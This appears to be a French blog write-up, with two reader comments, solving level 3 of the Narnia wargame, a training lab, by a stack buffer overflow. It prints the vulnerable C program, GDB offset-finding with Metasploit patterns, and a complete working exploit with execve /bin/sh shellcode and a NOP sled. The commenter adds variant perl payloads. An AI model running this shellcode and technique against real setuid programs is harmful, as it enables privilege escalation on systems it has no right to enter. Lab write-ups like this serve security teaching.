Le programme vulnérable :
/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } seteuid(1004); strcpy(buf,argv[1]); printf("%s", buf); return 0; }
Ok, un bof tout ce qu'il y a de plus classique dans les wargames.
Rien de particulier dans le code assembleur si ce n'est l'habituel calcul d'offset sous GDB.
Si vous voulez plus de détails sur cette méthode, je vous invite à aller voir les liens en bas.
La méthode rapide :
On génére notre pattern avec metasploit :
votrepseudo@votremachine $ msf/tools/pattern_create 140 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
level5@narnia:~$ gdb /wargame/level3 GNU gdb 6.4.90-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program exited normally. (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae Program received signal SIGILL, Illegal instruction. 0xb7ec7e00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 (gdb) i r eax 0x0 0 ecx 0xb7fe0434 -1208089548 edx 0xb7fe1448 -1208085432 ebx 0xb7fdfff4 -1208090636 esp 0xbffff9c0 0xbffff9c0 ebp 0x65413565 0x65413565 esi 0x0 0 edi 0xb8000cc0 -1207956288 eip 0xb7ec7e00 0xb7ec7e00 <__libc_start_main+32> eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Ok on a re-écrit ebp avec "e5Ae".
On cherche l'offset de ce pattern avec metasploit toujours :
msf/tools/pattern_offset e5Ae 136
Donc au bouts de 136 bytes on écrit EBP, EIP est donc re-écrit au bout de 140 octets.
On va utiliser la méthode des variables d'environnement, ça a pas mal d'avantages :
- taille de payload illimitée (pratiquement)
- on perd moins de temps à digguer dans GDB (ou vous pouvez aussi écrire un sploit enfin bon)
- ...
Donc notre petit helper getenv :
// @author : m_101 // @licence : beerware #include <stdlib.h> int main (int argc, char *argv[]) { char *addr; if(argc < 2) { printf("Usage:\n%s <environment variable name>\n", argv[0]); exit(0); } addr = getenv(argv[1]); if (addr == NULL) printf ("The environment variable %s doesn't exist.\n", argv[1]); else printf ("%s is located at %p\n", argv[1], addr); return 0; }
Maintenant let's sploit!
level3@narnia:~$ export SC=`python -c 'print "\x90" * 128 + "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'` level3@narnia:~$ /tmp/getenv SC SC is located at 0xbffffe94 /wargame/level3 `python -c 'print "A" * 140 + "\x94\xfe\xff\xbf"'`
Have fun ;).
m_101
Hello,
RépondreSupprimerJ'ai essayé ta solution et avec la variable d'environnement cela passe très bien avec mon shellcode perso.
Aurais-tu une idée sur pouquoi quand on place les NOP avant le shellcode et que l'on saut à l'adresse des NOP cela fonctionne.
Alors que si on place les nop après notre shellcode et que l'on saute dessus cela ne fonctionne pas ?
En gros :
J'ai regarder la solution suivante:
http://0xtceblab.blogspot.com/2011/01/stack-based-buffer-overflow.html
./level3 $(perl -e 'print "\x90"x(140-22)."\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80\x00"."\x50\xf9\xff\xbf"') ça marche ne marche pas
./level3 $(perl -e 'print "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80\x00"."\x90"x(140-22)."\x50\xf9\xff\xbf"') ça marche
J'ai beau essayer de tracé le programme pour comprendre avec gdb mais sans succès.
Yaya
Un nopsled sert à rendre un exploit plus fiable.
RépondreSupprimerAu lieu de devoir sauter de manière précise sur l'addresse de début du shellcode ... on a n possibilitées d'addresses où sauter avec un NOP sled.
De plus, il y a un offset entre GDB et le "réel".